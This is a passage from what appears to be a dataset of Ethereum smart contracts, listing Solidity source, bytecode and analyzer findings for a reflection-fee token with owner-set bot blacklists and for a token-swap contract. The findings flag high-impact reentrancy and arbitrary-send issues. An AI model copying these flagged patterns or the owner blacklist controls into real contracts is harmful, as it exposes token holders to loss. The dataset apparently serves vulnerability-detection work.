function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_covidReliefFund.transfer(amount.div(2));
_buybackWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 6000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _covidReliefFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _covidReliefFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf914610350578063cba0e99614610365578063d00efb2f1461039e578063d543dbeb146103b4578063dd62ed3e146103d4578063e47d60601461041a57600080fd5b80638da5cb5b146102a357806395d89b41146102cb578063a9059cbb146102fb578063b515566a1461031b578063c3c8cd801461033b57600080fd5b8063313ce567116100f2578063313ce5671461021d5780635932ead1146102395780636fc3eaec1461025957806370a082311461026e578063715018a61461028e57600080fd5b806306fdde031461013a578063095ea7b31461018557806318160ddd146101b557806323b872dd146101db578063273123b7146101fb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601081526f20b73a3496a1b7bb34b2102a37b5b2b760811b60208201525b60405161017c9190611b89565b60405180910390f35b34801561019157600080fd5b506101a56101a0366004611a1a565b610453565b604051901515815260200161017c565b3480156101c157600080fd5b50683635c9adc5dea000005b60405190815260200161017c565b3480156101e757600080fd5b506101a56101f63660046119da565b61046a565b34801561020757600080fd5b5061021b61021636600461196a565b6104d3565b005b34801561022957600080fd5b506040516009815260200161017c565b34801561024557600080fd5b5061021b610254366004611b0c565b610527565b34801561026557600080fd5b5061021b61056f565b34801561027a57600080fd5b506101cd61028936600461196a565b61059c565b34801561029a57600080fd5b5061021b6105be565b3480156102af57600080fd5b506000546040516001600160a01b03909116815260200161017c565b3480156102d757600080fd5b5060408051808201909152600781526656414343494e4560c81b602082015261016f565b34801561030757600080fd5b506101a5610316366004611a1a565b610632565b34801561032757600080fd5b5061021b610336366004611a45565b61063f565b34801561034757600080fd5b5061021b6106e3565b34801561035c57600080fd5b5061021b610719565b34801561037157600080fd5b506101a561038036600461196a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103aa57600080fd5b506101cd60115481565b3480156103c057600080fd5b5061021b6103cf366004611b44565b610ae0565b3480156103e057600080fd5b506101cd6103ef3660046119a2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101a561043536600461196a565b6001600160a01b03166000908152600a602052604090205460ff1690565b6000610460338484610bb3565b5060015b92915050565b6000610477848484610cd7565b6104c984336104c485604051806060016040528060288152602001611d5a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cd565b610bb3565b5060019392505050565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611bdc565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146105515760405162461bcd60e51b81526004016104fd90611bdc565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058f57600080fd5b4761059981611207565b50565b6001600160a01b0381166000908152600260205260408120546104649061128c565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016104fd90611bdc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610460338484610cd7565b6000546001600160a01b031633146106695760405162461bcd60e51b81526004016104fd90611bdc565b60005b81518110156106df576001600a600084848151811061069b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d781611cef565b91505061066c565b5050565b600c546001600160a01b0316336001600160a01b03161461070357600080fd5b600061070e3061059c565b905061059981611310565b6000546001600160a01b031633146107435760405162461bcd60e51b81526004016104fd90611bdc565b600f54600160a01b900460ff161561079d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107da3082683635c9adc5dea00000610bb3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081357600080fd5b505afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611986565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089357600080fd5b505afa1580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611986565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190611986565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061097b8161059c565b6000806109906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f357600080fd5b505af1158015610a07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2c9190611b5c565b5050600f80546753444835ec5800006010554360115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa857600080fd5b505af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df9190611b28565b6000546001600160a01b03163314610b0a5760405162461bcd60e51b81526004016104fd90611bdc565b60008111610b5a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104fd565b610b786064610b72683635c9adc5dea00000846114b5565b90611534565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610dff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6000546001600160a01b03848116911614801590610e2b57506000546001600160a01b03838116911614155b1561117057600f54600160b81b900460ff1615610f12576001600160a01b0383163014801590610e6457506001600160a01b0382163014155b8015610e7e5750600e546001600160a01b03848116911614155b8015610e985750600e546001600160a01b03838116911614155b15610f1257600e546001600160a01b0316336001600160a01b03161480610ed25750600f546001600160a01b0316336001600160a01b0316145b610f125760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104fd565b6001600160a01b0383163014610f3157601054811115610f3157600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f7357506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f8f5750336000908152600a602052604090205460ff16155b610f9857600080fd5b600f546001600160a01b038481169116148015610fc35750600e546001600160a01b03838116911614155b8015610fe857506001600160a01b03821660009081526005602052604090205460ff16155b8015610ffd5750600f54600160b81b900460ff165b1561104b576001600160a01b0382166000908152600b6020526040902054421161102657600080fd5b61103142600f611c81565b6001600160a01b0383166000908152600b60205260409020555b60115443141561110357600f546001600160a01b038481169116148015906110815750600e546001600160a01b03848116911614155b156110ae576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611103565b600f546001600160a01b038381169116148015906110da5750600e546001600160a01b03838116911614155b15611103576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061110e3061059c565b600f54909150600160a81b900460ff161580156111395750600f546001600160a01b03858116911614155b801561114e5750600f54600160b01b900460ff165b1561116e5761115c81611310565b47801561116c5761116c47611207565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b257506001600160a01b03831660009081526005602052604090205460ff165b156111bb575060005b6111c784848484611576565b50505050565b600081848411156111f15760405162461bcd60e51b81526004016104fd9190611b89565b5060006111fe8486611cd8565b95945050505050565b600c546001600160a01b03166108fc611221836002611534565b6040518115909202916000818181858888f19350505050158015611249573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611264836002611534565b6040518115909202916000818181858888f193505050501580156106df573d6000803e3d6000fd5b60006006548211156112f35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fd565b60006112fd6115a2565b90506113098382611534565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ba57600080fd5b505afa1580156113ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f29190611986565b8160018151811061141357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546114399130911684610bb3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611472908590600090869030904290600401611c11565b600060405180830381600087803b15801561148c57600080fd5b505af11580156114a0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826114c457506000610464565b60006114d08385611cb9565b9050826114dd8583611c99565b146113095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b600061130983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c5565b80611583576115836115f3565b61158e848484611616565b806111c7576111c76002600855600a600955565b60008060006115af61170d565b90925090506115be8282611534565b9250505090565b600081836115e65760405162461bcd60e51b81526004016104fd9190611b89565b5060006111fe8486611c99565b6008541580156116035750600954155b1561160a57565b60006008819055600955565b6000806000806000806116288761174f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165a90876117ac565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168990866117ee565b6001600160a01b0389166000908152600260205260409020556116ab8161184d565b6116b58483611897565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fa91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117298282611534565b82101561174657505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176c8a6008546009546118bb565b925092509250600061177c6115a2565b9050600080600061178f8e87878761190a565b919e509c509a509598509396509194505050505091939550919395565b600061130983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cd565b6000806117fb8385611c81565b9050838110156113095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b60006118576115a2565b9050600061186583836114b5565b3060009081526002602052604090205490915061188290826117ee565b30600090815260026020526040902055505050565b6006546118a490836117ac565b6006556007546118b490826117ee565b6007555050565b60008080806118cf6064610b7289896114b5565b905060006118e26064610b728a896114b5565b905060006118fa826118f48b866117ac565b906117ac565b9992985090965090945050505050565b600080808061191988866114b5565b9050600061192788876114b5565b9050600061193588886114b5565b90506000611947826118f486866117ac565b939b939a50919850919650505050505050565b803561196581611d36565b919050565b60006020828403121561197b578081fd5b813561130981611d36565b600060208284031215611997578081fd5b815161130981611d36565b600080604083850312156119b4578081fd5b82356119bf81611d36565b915060208301356119cf81611d36565b809150509250929050565b6000806000606084860312156119ee578081fd5b83356119f981611d36565b92506020840135611a0981611d36565b929592945050506040919091013590565b60008060408385031215611a2c578182fd5b8235611a3781611d36565b946020939093013593505050565b60006020808385031215611a57578182fd5b823567ffffffffffffffff80821115611a6e578384fd5b818501915085601f830112611a81578384fd5b813581811115611a9357611a93611d20565b8060051b604051601f19603f83011681018181108582111715611ab857611ab8611d20565b604052828152858101935084860182860187018a1015611ad6578788fd5b8795505b83861015611aff57611aeb8161195a565b855260019590950194938601938601611ada565b5098975050505050505050565b600060208284031215611b1d578081fd5b813561130981611d4b565b600060208284031215611b39578081fd5b815161130981611d4b565b600060208284031215611b55578081fd5b5035919050565b600080600060608486031215611b70578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bb557858101830151858201604001528201611b99565b81811115611bc65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c605784516001600160a01b031683529383019391830191600101611c3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c9457611c94611d0a565b500190565b600082611cb457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611cd357611cd3611d0a565b500290565b600082821015611cea57611cea611d0a565b500390565b6000600019821415611d0357611d03611d0a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059957600080fd5b801515811461059957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040d254f0714cdf5824379d52872d3520a149607c929bd9dfa385ab26468b9a1864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 964 |
0x6cfccbdf47041a7aecfe6e198f242d0d463d5723 | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract IERC20 {
function totalSupply() external virtual view returns (uint256);
function balanceOf(address tokenOwner) external virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external virtual returns (bool success);
function approve(address spender, uint256 tokens) external virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external virtual returns (bool success);
function burnFrom(address account, uint256 amount) public virtual;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SwapTokens is Ownable {
using SafeMath for uint256;
address public tokenFrom;
address public tokenTo;
uint256 public tokenFromTotal;
uint256 public tokenToTotal;
address[] public swapUsers;
mapping(address => uint256) public swappedGDAOAmount;
bool public isInitiated = false;
constructor(address _tokenFrom, address _tokenTo, uint256 _tokenFromTotal, uint256 _tokenToTotal) {
tokenFrom = _tokenFrom;
tokenTo = _tokenTo;
tokenFromTotal = _tokenFromTotal;
tokenToTotal = _tokenToTotal;
}
function swapTokens(uint256 _amount) public {
require(_amount > 0, "amount cannot be 0");
require(isInitiated == true, "Swap has not started yet");
IERC20(tokenFrom).transferFrom(msg.sender, address(0x000000000000000000000000000000000000dEaD), _amount);
uint256 finalAmount = _amount.mul(tokenToTotal).div(tokenFromTotal);
IERC20(tokenTo).transfer(msg.sender, finalAmount);
if(swappedGDAOAmount[msg.sender] <= 0) {
swapUsers.push(msg.sender);
}
swappedGDAOAmount[msg.sender] = swappedGDAOAmount[msg.sender].add(finalAmount);
}
function initiateSwap() public onlyOwner {
require(IERC20(tokenTo).balanceOf(address(this)) >= tokenToTotal, "Target token balance too low");
require(isInitiated == false, "Swap already initiated");
isInitiated = true;
}
function withdrawTokens(address _token, address _to, uint256 _amount) public onlyOwner {
require(isInitiated == false, "Swap already initiated");
IERC20 token = IERC20(_token);
token.transfer(_to, _amount);
}
function calculateTokens(uint256 _amount) public view returns(uint256) {
uint256 receiveAmount = _amount.mul(tokenToTotal).div(tokenFromTotal);
return receiveAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063c17b732611610066578063c17b73261461023b578063db95041e14610259578063f2fde38b14610263578063fe784eaa1461027f576100ea565b80638da5cb5b146101cf578063ab063565146101ed578063ac4ae8a41461021d576100ea565b8063715018a6116100c8578063715018a61461015957806371aa60fd146101635780637c153534146101935780637ef9dabc146101b1576100ea565b80631cb59914146100ef5780632da754fc1461010d5780635e35359e1461013d575b600080fd5b6100f761029b565b6040516101049190611225565b60405180910390f35b61012760048036038101906101229190610fda565b6102ae565b60405161013491906111aa565b60405180910390f35b61015760048036038101906101529190610f62565b6102ed565b005b610161610458565b005b61017d60048036038101906101789190610fda565b610592565b60405161018a9190611362565b60405180910390f35b61019b6105c9565b6040516101a891906111aa565b60405180910390f35b6101b96105ef565b6040516101c69190611362565b60405180910390f35b6101d76105f5565b6040516101e491906111aa565b60405180910390f35b61020760048036038101906102029190610f39565b61061e565b6040516102149190611362565b60405180910390f35b610225610636565b6040516102329190611362565b60405180910390f35b61024361063c565b60405161025091906111aa565b60405180910390f35b610261610662565b005b61027d60048036038101906102789190610f39565b610840565b005b61029960048036038101906102949190610fda565b6109e9565b005b600760009054906101000a900460ff1681565b600581815481106102be57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6102f5610d57565b73ffffffffffffffffffffffffffffffffffffffff166103136105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906112e2565b60405180910390fd5b60001515600760009054906101000a900460ff161515146103bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b690611302565b60405180910390fd5b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b81526004016103ff9291906111fc565b602060405180830381600087803b15801561041957600080fd5b505af115801561042d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104519190610fb1565b5050505050565b610460610d57565b73ffffffffffffffffffffffffffffffffffffffff1661047e6105f5565b73ffffffffffffffffffffffffffffffffffffffff16146104d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cb906112e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806105be6003546105b060045486610d5f90919063ffffffff16565b610dda90919063ffffffff16565b905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60066020528060005260406000206000915090505481565b60035481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61066a610d57565b73ffffffffffffffffffffffffffffffffffffffff166106886105f5565b73ffffffffffffffffffffffffffffffffffffffff16146106de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d5906112e2565b60405180910390fd5b600454600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161073c91906111aa565b60206040518083038186803b15801561075457600080fd5b505afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c9190611003565b10156107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490611262565b60405180910390fd5b60001515600760009054906101000a900460ff16151514610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90611302565b60405180910390fd5b6001600760006101000a81548160ff021916908315150217905550565b610848610d57565b73ffffffffffffffffffffffffffffffffffffffff166108666105f5565b73ffffffffffffffffffffffffffffffffffffffff16146108bc576040517f08c379a000000000000000